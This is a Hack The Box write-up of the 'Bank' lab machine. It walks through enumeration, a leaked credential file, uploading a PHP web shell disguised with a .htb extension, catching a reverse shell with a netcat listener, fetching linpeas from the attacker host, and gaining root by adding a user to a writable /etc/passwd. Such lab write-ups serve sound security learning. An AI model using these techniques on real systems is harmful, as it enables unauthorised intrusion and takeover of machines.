Hack The Box – Bank Write-up

Setup

I began by adding the IP address of my Bank machine instance to my /etc/hosts file with the value of bank. This means that wherever I want to use the IP address of the machine, I can just use bank instead of needing to remember the IP address.

I opened the /etc/hosts file for editing with sudo nano /etc/hosts and added an entry as below:

Initial Enumeration

Nmap

I began with an nmap scan of the target with nmap -sC -sV -oA nmap/bank bank -Pn -p- which returned:

HTTP

I looked at the HTTP server on pot 80 using Firefox but only got a default Apache2 page:

I tried GoBuster to look for any files or folders but nothing was returned so I moved onto DNS.

DNS

I got lucky here as I wanted to try a zone transfer on the target but I didn’t know any domains to use. I know that HTB often uses <name of machine>.htb as the domain so took my chances that bank.htb might be a valid domain. I tried a zone transfer with dig axfr bank.htb @bank and got a result:

This revealed bank.htb and chris.bank.htb as potential domains so I added these as an entry to my /etc/hosts file:

HTTP Revisited

With these new domains in my /etc/hosts file, I returned to FireFox and tried to visit the bank.htb domain and got a login page:

I tried some common default credentials such as admin:admin and admin:password to see if these would gain me access to the system but nothing worked. I also tried sqlmap to see if the login page was vulnerable to an SQL injection but, again, this was unsuccessful.

I then used GoBuster to see if any files or directories could be found for the bank.htb domain:

This time, the scan returned some potential results which have been highlighted in red:

I worked my way down the list of results, visiting each of them in Firefox to see if they revealed any further interesting details.

The index.php, support.php, and logout.php pages all redirected me to the login.php page.

The /inc directory contained a number of php files but none of these pages contained anything of interest:

Access was forbidden to the /uploads directory:

The /assets directory contained a number of additional files and directories but, again, nothing of interest:

With none of these revealing anything interesting, I went to look at Burp Suite to see if this showed anything. When enumerating a website, I always use the HTTP Proxy feature of Burp Suite to proxy the target site through so that I can better review additional details of the web requests such as the headers etc. It also allows me to use other Burp Suite functionality such as Repeater with ease.

This revealed a few interesting observations. The first being that some of the pages, despite returning a 302 status code and redirecting the visitor to login.php, data was actually returned to the browser before the redirection took place. This demonstrates the benefit of using Burp Suite like this as this behaviour would have been difficult to observe otherwise.

The image below shows this. A GET request to /index.php (1) returned a 302 response (2) that redirected to the login.php page (3):

The redirection to the login page was encountered previously when visiting the page in Firefox, but in Burp Suite, the response pane shows additional html on the index.php page before the redirection took place:

Looking though the html, it looks to contain banking information such as transactions dates and amounts but nothing that looks like it may be of any help in progressing forward with getting access to the target.

Whilst checking Burp Suite for other requests, I found the same information leak on the support.php page.

On this occasion, the data returned before the redirect took place was an HTML form which looked like it was used to raise a new support ticket. A comment in the code looked like a useful piece of information should access to the support.php page be achieved without the redirect. The comment states that the .htb extension has been configured to execute as PHP:

For the minute, however, this didn’t seem exploitable so I returned to enumerate the machine further.

I decided to return to GoBuster and use a different word list to the one used originally. Given the number of word lists available, it is beneficial to try a number of them as they all contain different words and sticking to just one may result in missed results.

After working through a number of word lists in /usr/share/dirbuster/wordlists/, I got to the directory-list-lowercase-2.3-medium.txt word list which gave me some additional responses to what I received in my earlier scan:

When visiting /balance-transfer in Firefox, it returned a directory listing containing lots of .acc files:

Viewing one of these files, it appeared to contain customer details and details of their bank account:

The customer’s name, email and password looked to be encrypted so, before attempting to see if these could be brute forced, I looked through all of the files to see if there was anything else of interest.

About half way down the listing, I noticed that one of the files seemed to be about half the size of the others:

Viewing this file revealed that the data was indeed encrypted but encryption had failed for this file so I could see the customer’s details:

With the plain text credentials for a customer, I returned to /login.php to see if these were valid for authentication and they were:

Now I was logged in, I returned to the /support.php page. The form allows a new ticket to be raised and, interestingly, a file to be uploaded for the ticket:

The comment I found earlier stated that files with a .htb extension would be executed as PHP. If I could upload a malicious PHP file with a .htb extension, I may be able to get a shell on the target.

I created a file called shell.htb with the following content:

This would mean that if I was able to access the shell.htb file, I could pass a command as the cmd parameter and this should be executed on the target machine.

I created a new ticket and uploaded this file. I received confirmation that the ticket had been created and the My Tickets section showed my new ticket with a link to my malicious file:

To test whether my attempt to gain code execution on the target machine was a success, I followed the link to the attachment that I uploaded and found that the file had been saved in the /uploads directory:

I added the ?cmd= parameter to the end of the URL and used the id command to try and see if the command would be executed. The full URL was:

http://bank.htb/uploads/shell.htb?cmd=id

This confirmed that code execution was possible and I was shown that the web server was running as the www-data user:

With this working, I then set about trying to get a reverse shell from the target. To help me overcome any potential encoding issues I may encounter from entering a reverse shell command in Firefox, I found my request to shell.htb in Burp Suite and sent this request to the Repeater tool so that I could edit the request before sending it. This was achieved by right clicking on the request in Burp Suite and selecting Send to Repeater.

Once in Repeater, I edited my command to one to try and obtain a reverse shell. As I knew that PHP was on the machine, I tried a PHP reverse shell first. I used https://swisskyrepo.github.io/InternalAllTheThings/cheatsheets/shell-reverse-cheatsheet/#php to get an example command and edited it to the IP address of my Kali machine and the port I wanted to listen on to catch the shell.

I ended up with the following command:

I then pasted this into the cmd parameter in the Repeater window and encoded it with Ctrl + U to give me:

Before sending this request, I created a netcat listener on my Kali machine with:

nc -lvnp 4444

I then clicked Send in Burp Suite and, after a few seconds, I received a shell from the target machine:

I upgraded my shell with:

python3 -c 'import pty; pty.spawn("/bin/bash")'

I then backgrounded the shell with Ctrl + Z before entering stty raw -echo; fg and pressing Enter twice. I finally entered export TERM=xterm.

The user.txt flag was found in the /home/chris directory:

www-data@bank:/home/chris$ cat user.txt
6e4**************************fc0

Privilege Escalation

To scan the machine for potential vulnerabilities, I uploaded the linpeas.sh script.

I did this by creating a python3 server on my Kali machine with python3 -m http.server 80 and then using wget on the target to download the file with wget http://10.10.14.79/linpeas.sh.

With the script on the target machine, I made the script executable with chmod +x linpeas.sh and then ran it with ./linpeas.sh

After a few minutes, the scan was complete and I reviewed the results to find that the /etc/passwd file was writable by me:

The orange background and red text from linpeas means that this is highly likely to be a path to privilege escalation. On this occasion, this is because the /etc/passwd file is responsible for storing the details for users of the system and being able to edit it means that current users can be altered and new users added. Whilst passwords are stored in the /etc/shadow file, putting a password in the /etc/password file will still work.

I generated an /etc/passwd compatible password with:

openssl passwd -6 -salt xyz password1

• The -6 flag is to create the password using a SHA512-based password algorithm
• The -salt flag provides the salt to use for the password, in this case xyz
• The last argument is the password to use, in this case password1

This gave me the following password hash:

I then opened the /etc/passwd file with nano and created a new user underneath the root user called root2. I copied the original root user entry, changing the name of the user to root2 and putting my password hash where the x appears after the first colon:

I saved the /etc/passwd file and once back on the command line, I switched to my newly created user with su root2 and entered the password of password1. I then used the id command to confirm whether I was root and I was:

The root.txt flag was found in the /root directory:

root@bank:~# cat root.txt
5fd**************************c89